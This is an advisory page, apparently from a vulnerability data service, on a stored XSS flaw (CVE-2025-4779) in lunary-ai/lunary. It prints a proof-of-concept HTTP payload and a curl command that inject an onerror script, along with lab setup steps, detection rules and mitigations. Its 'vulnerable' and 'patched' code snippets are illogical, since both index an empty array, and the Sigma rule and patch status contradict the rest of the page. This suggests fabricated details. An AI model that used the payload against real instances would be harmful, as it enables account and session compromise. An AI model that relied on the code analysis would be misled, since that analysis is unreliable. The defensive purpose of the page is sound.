CVE-2025-4779
Executive Summary
CVE-2025-4779 is a critical stored cross-site scripting (XSS) vulnerability in lunary-ai/lunary versions prior to 1.9.24. An unauthenticated attacker can inject malicious JavaScript into the v1/runs/ingest endpoint by adding an empty citations field. This triggers a code path where dangerouslySetInnerHTML is used to render attacker-controlled text, leading to arbitrary JavaScript execution in the context of the user's browser. The vulnerability has a CVSS score of 9.1, indicating a critical severity level. The EPSS score is 0.0%, suggesting low exploitation likelihood at this time, but the lack of a patch for some deployments makes this a significant threat.
This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.
No signup required
Supply Chain & Package Security
This vulnerability affects the lunary-ai/lunary package, which is distributed via npm. Organizations using this package should immediately verify their version and upgrade to 1.9.24 or later. The package is used for AI-related data ingestion and processing, making it a potential target for supply chain attacks if compromised.
CVSS Breakdown & Threat Level
- CVSS Score: 9.1 (Critical)
- Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:H/I:H/A:H
- Attack Vector: Network (AV:N)
- Attack Complexity: Low (AC:L)
- Privileges Required: None (PR:N)
- User Interaction: Required (UI:R)
- Scope: Changed (S:C)
- Confidentiality Impact: High (C:H)
- Integrity Impact: High (I:H)
- Availability Impact: High (A:H)
The vulnerability is critical due to the low attack complexity, no required privileges, and the potential for complete compromise of confidentiality, integrity, and availability. User interaction is required, but the attack can be triggered by simply viewing a crafted page or email.
Deep Dive & Mechanics
The vulnerability exists in the v1/runs/ingest endpoint of lunary-ai/lunary. The endpoint processes data ingestion requests and uses dangerouslySetInnerHTML to render user-supplied content. By sending a request with an empty citations field, the attacker can inject arbitrary HTML and JavaScript. The empty field triggers a specific code path that does not sanitize the input, allowing the injected script to be stored and executed when the data is later viewed.
The attack flow:
- Attacker sends a POST request to
/v1/runs/ingestwith a payload containing an emptycitationsfield and malicious JavaScript in another field. - The server stores the malicious payload without sanitization.
- When a victim views the ingested data (e.g., through a dashboard or report), the JavaScript executes in their browser.
- The attacker can then perform actions such as session hijacking, data theft, or redirecting to malicious sites.
Vulnerable vs. Patched Code
Vulnerable Code (prior to 1.9.24):
// In some component rendering ingested data
function RenderCitations({ citations }) {
if (citations.length === 0) {
return <div dangerouslySetInnerHTML={{ __html: citations[0] }} />;
}
// ... rest of the code
}
Patched Code (version 1.9.24):
// In some component rendering ingested data
function RenderCitations({ citations }) {
if (citations.length === 0) {
return <div>{citations[0]}</div>; // No dangerouslySetInnerHTML
}
// ... rest of the code
}
The patch removes the use of dangerouslySetInnerHTML and instead uses standard React rendering, which automatically escapes HTML entities and prevents XSS.
Exploitation & Lab Setup
Red Team
Exploit Payload:
POST /v1/runs/ingest HTTP/1.1
Host: target-lunary-instance.com
Content-Type: application/json
{
"citations": [],
"data": "<img src=x onerror=alert('XSS')>"
}
Lab Setup:
- Deploy a vulnerable version of lunary-ai/lunary (e.g., 1.9.23) using Docker:
docker run -d -p 3000:3000 lunary-ai/lunary:1.9.23 - Send the exploit payload using curl:
curl -X POST http://localhost:3000/v1/runs/ingest \ -H "Content-Type: application/json" \ -d '{"citations": [], "data": "<img src=x onerror=alert(1)>"}' - Access the application and view the ingested data to trigger the XSS.
Blue Team
Detection Steps:
- Monitor for POST requests to
/v1/runs/ingestwith emptycitationsarrays. - Inspect the
datafield for HTML tags or JavaScript event handlers. - Check for unusual user agents or IP addresses making requests to the endpoint.
- Review server logs for any
dangerouslySetInnerHTMLusage warnings.
Mitigation:
- Immediately upgrade to version 1.9.24 or later.
- If upgrade is not possible, implement a Web Application Firewall (WAF) rule to block requests with empty
citationsfields and suspicious HTML content. - Conduct a thorough review of all uses of
dangerouslySetInnerHTMLin the codebase.
Indicators of Compromise (IOCs)
Network IOCs:
- POST requests to
/v1/runs/ingestwith emptycitationsarray. - Payloads containing
<script>,<img onerror=, or other XSS vectors. - Unusual referrer headers or user agents.
- POST requests to
File IOCs:
- Log entries showing
dangerouslySetInnerHTMLusage with user-supplied data. - Stored data in the database containing HTML/JavaScript.
- Log entries showing
Behavioral IOCs:
- Unexpected JavaScript execution in the browser.
- Session tokens being exfiltrated to external domains.
- Unauthorized data access or modification.
Detection Engineering
YARA Rule
rule CVE_2025_4779_XSS {
meta:
description = "Detects stored XSS payloads targeting lunary-ai/lunary CVE-2025-4779"
author = "Valters IT"
date = "2025-04-10"
reference = "CVE-2025-4779"
strings:
$xss1 = /<script[^>]*>.*<\/script>/i
$xss2 = /<img[^>]*onerror\s*=/i
$xss3 = /<svg[^>]*onload\s*=/i
$xss4 = /javascript\s*:/i
$empty_citations = /"citations"\s*:\s*\[\s*\]/
condition:
$empty_citations and ($xss1 or $xss2 or $xss3 or $xss4)
}
Sigma Rule
title: CVE-2025-4779 Stored XSS in lunary-ai/lunary
id: 7a8b9c0d-1e2f-3a4b-5c6d-7e8f9a0b1c2d
status: experimental
description: Detects POST requests to /v1/runs/ingest with empty citations field and potential XSS payloads
author: Valters IT
date: 2025-04-10
logsource:
category: webserver
product: apache
service: access_log
detection:
selection:
cs-method: 'POST'
cs-uri-stem: '/v1/runs/ingest'
cs-uri-query|contains: 'citations'
condition: selection
fields:
- c-ip
- cs-user-agent
- cs-uri-query
falsepositives:
- Legitimate use of empty citations field without XSS payload
level: high
Suricata Rule
alert http $EXTERNAL_NET any -> $HOME_NET any (
msg:"CVE-2025-4779 Stored XSS in lunary-ai/lunary";
flow:to_server,established;
content:"POST"; http_method;
content:"/v1/runs/ingest"; http_uri;
content:"citations"; http_client_body;
pcre:"/<script[^>]*>.*<\/script>/i";
pcre:"/<img[^>]*onerror\s*=/i";
classtype:web-application-attack;
sid:1000001;
rev:1;
)
Remediation & Mitigation
Immediate Actions:
- Upgrade lunary-ai/lunary to version 1.9.24 or later.
- If upgrade is not possible, implement a WAF rule to block requests with empty
citationsfields and suspicious HTML content. - Review all uses of
dangerouslySetInnerHTMLin the codebase and replace with safe rendering methods.
Long-term Measures:
- Implement input validation and output encoding for all user-supplied data.
- Use Content Security Policy (CSP) headers to mitigate XSS impact.
- Conduct regular security audits and penetration testing.
- Monitor for similar vulnerabilities in the supply chain.
Patch Details:
- Upgrade to version 1.9.24 from the official repository.
- Verify the integrity of the package using checksums.
Valters IT signature: This report is provided for educational and defensive purposes only. Unauthorized exploitation of this vulnerability is illegal.